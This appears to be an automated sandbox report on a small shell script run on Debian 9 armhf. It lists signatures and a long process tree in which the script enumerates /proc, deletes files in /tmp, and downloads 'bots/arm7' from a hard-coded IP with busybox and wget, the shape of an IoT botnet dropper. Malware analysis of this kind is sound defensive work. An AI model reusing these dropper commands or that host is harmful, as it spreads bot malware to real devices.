Overview

overview

3

Static

static

1

a.sh

ubuntu-18.04-amd64

3

a.sh

debian-9-armhf

3

a.sh

debian-9-mips

3

a.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    142s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/11/2026, 12:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a.sh
  • Size 1KB
  • Sample261102-pkk7vsb14q
  • SHA256 dfc0e5027ed5f991ac5332ccf49adbd3a7227d4ffc3525eed68ae23b1d3cd89a
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a.sh
    /tmp/a.sh
    1⤵
      PID:644
      • /bin/ls
        ls /proc
        2⤵
        • Reads runtime system information
        PID:646
      • /bin/grep
        grep -E "^[0-9]+\$"
        2⤵
          PID:647
        • /bin/readlink
          readlink /proc/1/exe
          2⤵
            PID:652
          • /bin/readlink
            readlink /proc/10/exe
            2⤵
              PID:655
            • /bin/readlink
              readlink /proc/105/exe
              2⤵
                PID:657
              • /bin/readlink
                readlink /proc/107/exe
                2⤵
                  PID:660
                • /bin/readlink
                  readlink /proc/108/exe
                  2⤵
                    PID:663
                  • /bin/readlink
                    readlink /proc/11/exe
                    2⤵
                      PID:665
                    • /bin/readlink
                      readlink /proc/12/exe
                      2⤵
                        PID:668
                      • /bin/readlink
                        readlink /proc/13/exe
                        2⤵
                          PID:671
                        • /bin/readlink
                          readlink /proc/135/exe
                          2⤵
                            PID:672
                          • /bin/readlink
                            readlink /proc/136/exe
                            2⤵
                              PID:676
                            • /bin/readlink
                              readlink /proc/14/exe
                              2⤵
                                PID:678
                              • /bin/readlink
                                readlink /proc/141/exe
                                2⤵
                                  PID:680
                                • /bin/readlink
                                  readlink /proc/15/exe
                                  2⤵
                                    PID:681
                                  • /bin/readlink
                                    readlink /proc/157/exe
                                    2⤵
                                      PID:683
                                    • /bin/readlink
                                      readlink /proc/16/exe
                                      2⤵
                                        PID:684
                                      • /bin/readlink
                                        readlink /proc/168/exe
                                        2⤵
                                          PID:687
                                        • /bin/readlink
                                          readlink /proc/17/exe
                                          2⤵
                                            PID:688
                                          • /bin/readlink
                                            readlink /proc/18/exe
                                            2⤵
                                              PID:689
                                            • /bin/readlink
                                              readlink /proc/19/exe
                                              2⤵
                                                PID:690
                                              • /bin/readlink
                                                readlink /proc/2/exe
                                                2⤵
                                                  PID:692
                                                • /bin/readlink
                                                  readlink /proc/20/exe
                                                  2⤵
                                                    PID:693
                                                  • /bin/readlink
                                                    readlink /proc/208/exe
                                                    2⤵
                                                      PID:694
                                                    • /bin/readlink
                                                      readlink /proc/21/exe
                                                      2⤵
                                                        PID:695
                                                      • /bin/readlink
                                                        readlink /proc/210/exe
                                                        2⤵
                                                          PID:696
                                                        • /bin/readlink
                                                          readlink /proc/22/exe
                                                          2⤵
                                                            PID:697
                                                          • /bin/readlink
                                                            readlink /proc/23/exe
                                                            2⤵
                                                              PID:698
                                                            • /bin/readlink
                                                              readlink /proc/24/exe
                                                              2⤵
                                                                PID:699
                                                              • /bin/readlink
                                                                readlink /proc/25/exe
                                                                2⤵
                                                                  PID:700
                                                                • /bin/readlink
                                                                  readlink /proc/26/exe
                                                                  2⤵
                                                                    PID:702
                                                                  • /bin/readlink
                                                                    readlink /proc/27/exe
                                                                    2⤵
                                                                      PID:703
                                                                    • /bin/readlink
                                                                      readlink /proc/274/exe
                                                                      2⤵
                                                                        PID:704
                                                                      • /bin/readlink
                                                                        readlink /proc/276/exe
                                                                        2⤵
                                                                          PID:705
                                                                        • /bin/readlink
                                                                          readlink /proc/28/exe
                                                                          2⤵
                                                                            PID:706
                                                                          • /bin/readlink
                                                                            readlink /proc/280/exe
                                                                            2⤵
                                                                              PID:707
                                                                            • /bin/readlink
                                                                              readlink /proc/282/exe
                                                                              2⤵
                                                                                PID:708
                                                                              • /bin/readlink
                                                                                readlink /proc/29/exe
                                                                                2⤵
                                                                                  PID:709
                                                                                • /bin/readlink
                                                                                  readlink /proc/290/exe
                                                                                  2⤵
                                                                                    PID:710
                                                                                  • /bin/readlink
                                                                                    readlink /proc/3/exe
                                                                                    2⤵
                                                                                      PID:711
                                                                                    • /bin/readlink
                                                                                      readlink /proc/305/exe
                                                                                      2⤵
                                                                                        PID:712
                                                                                      • /bin/readlink
                                                                                        readlink /proc/314/exe
                                                                                        2⤵
                                                                                          PID:713
                                                                                        • /bin/readlink
                                                                                          readlink /proc/320/exe
                                                                                          2⤵
                                                                                            PID:714
                                                                                          • /bin/readlink
                                                                                            readlink /proc/326/exe
                                                                                            2⤵
                                                                                              PID:715
                                                                                            • /bin/readlink
                                                                                              readlink /proc/4/exe
                                                                                              2⤵
                                                                                                PID:716
                                                                                              • /bin/readlink
                                                                                                readlink /proc/41/exe
                                                                                                2⤵
                                                                                                  PID:717
                                                                                                • /bin/readlink
                                                                                                  readlink /proc/42/exe
                                                                                                  2⤵
                                                                                                    PID:718
                                                                                                  • /bin/readlink
                                                                                                    readlink /proc/43/exe
                                                                                                    2⤵
                                                                                                      PID:719
                                                                                                    • /bin/readlink
                                                                                                      readlink /proc/5/exe
                                                                                                      2⤵
                                                                                                        PID:720
                                                                                                      • /bin/readlink
                                                                                                        readlink /proc/565/exe
                                                                                                        2⤵
                                                                                                          PID:721
                                                                                                        • /bin/readlink
                                                                                                          readlink /proc/582/exe
                                                                                                          2⤵
                                                                                                            PID:722
                                                                                                          • /bin/readlink
                                                                                                            readlink /proc/584/exe
                                                                                                            2⤵
                                                                                                              PID:723
                                                                                                            • /bin/readlink
                                                                                                              readlink /proc/590/exe
                                                                                                              2⤵
                                                                                                                PID:724
                                                                                                              • /bin/readlink
                                                                                                                readlink /proc/591/exe
                                                                                                                2⤵
                                                                                                                  PID:725
                                                                                                                • /bin/readlink
                                                                                                                  readlink /proc/6/exe
                                                                                                                  2⤵
                                                                                                                    PID:726
                                                                                                                  • /bin/readlink
                                                                                                                    readlink /proc/632/exe
                                                                                                                    2⤵
                                                                                                                      PID:727
                                                                                                                    • /bin/readlink
                                                                                                                      readlink /proc/633/exe
                                                                                                                      2⤵
                                                                                                                        PID:728
                                                                                                                      • /bin/readlink
                                                                                                                        readlink /proc/635/exe
                                                                                                                        2⤵
                                                                                                                          PID:729
                                                                                                                        • /bin/readlink
                                                                                                                          readlink /proc/640/exe
                                                                                                                          2⤵
                                                                                                                            PID:730
                                                                                                                          • /bin/readlink
                                                                                                                            readlink /proc/641/exe
                                                                                                                            2⤵
                                                                                                                              PID:731
                                                                                                                            • /bin/readlink
                                                                                                                              readlink /proc/642/exe
                                                                                                                              2⤵
                                                                                                                                PID:732
                                                                                                                              • /bin/readlink
                                                                                                                                readlink /proc/644/exe
                                                                                                                                2⤵
                                                                                                                                  PID:733
                                                                                                                                • /bin/readlink
                                                                                                                                  readlink /proc/645/exe
                                                                                                                                  2⤵
                                                                                                                                    PID:734
                                                                                                                                  • /bin/readlink
                                                                                                                                    readlink /proc/646/exe
                                                                                                                                    2⤵
                                                                                                                                      PID:735
                                                                                                                                    • /bin/readlink
                                                                                                                                      readlink /proc/647/exe
                                                                                                                                      2⤵
                                                                                                                                        PID:736
                                                                                                                                      • /bin/readlink
                                                                                                                                        readlink /proc/649/exe
                                                                                                                                        2⤵
                                                                                                                                          PID:737
                                                                                                                                        • /bin/readlink
                                                                                                                                          readlink /proc/650/exe
                                                                                                                                          2⤵
                                                                                                                                            PID:738
                                                                                                                                          • /bin/readlink
                                                                                                                                            readlink /proc/7/exe
                                                                                                                                            2⤵
                                                                                                                                              PID:739
                                                                                                                                            • /bin/readlink
                                                                                                                                              readlink /proc/75/exe
                                                                                                                                              2⤵
                                                                                                                                                PID:740
                                                                                                                                              • /bin/readlink
                                                                                                                                                readlink /proc/8/exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:741
                                                                                                                                                • /bin/readlink
                                                                                                                                                  readlink /proc/9/exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:742
                                                                                                                                                  • /bin/readlink
                                                                                                                                                    readlink /proc/96/exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:743
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -rf /tmp/shm/libcow.so /tmp/.f /tmp/.i /tmp/.x /tmp/Runn
                                                                                                                                                      2⤵
                                                                                                                                                        PID:744
                                                                                                                                                      • /bin/uname
                                                                                                                                                        uname -m
                                                                                                                                                        2⤵
                                                                                                                                                          PID:745
                                                                                                                                                        • /bin/rm
                                                                                                                                                          rm -f /tmp/attn
                                                                                                                                                          2⤵
                                                                                                                                                            PID:746
                                                                                                                                                          • /bin/busybox
                                                                                                                                                            busybox wget -q -O /tmp/attn http://38.9.96.215/bots/arm7
                                                                                                                                                            2⤵
                                                                                                                                                              PID:747
                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                              wget -q -O /tmp/attn http://38.9.96.215/bots/arm7
                                                                                                                                                              2⤵
                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                              PID:748

                                                                                                                                                          Network

                                                                                                                                                                MITRE ATT&CK Matrix

                                                                                                                                                                Replay Monitor

                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                Downloads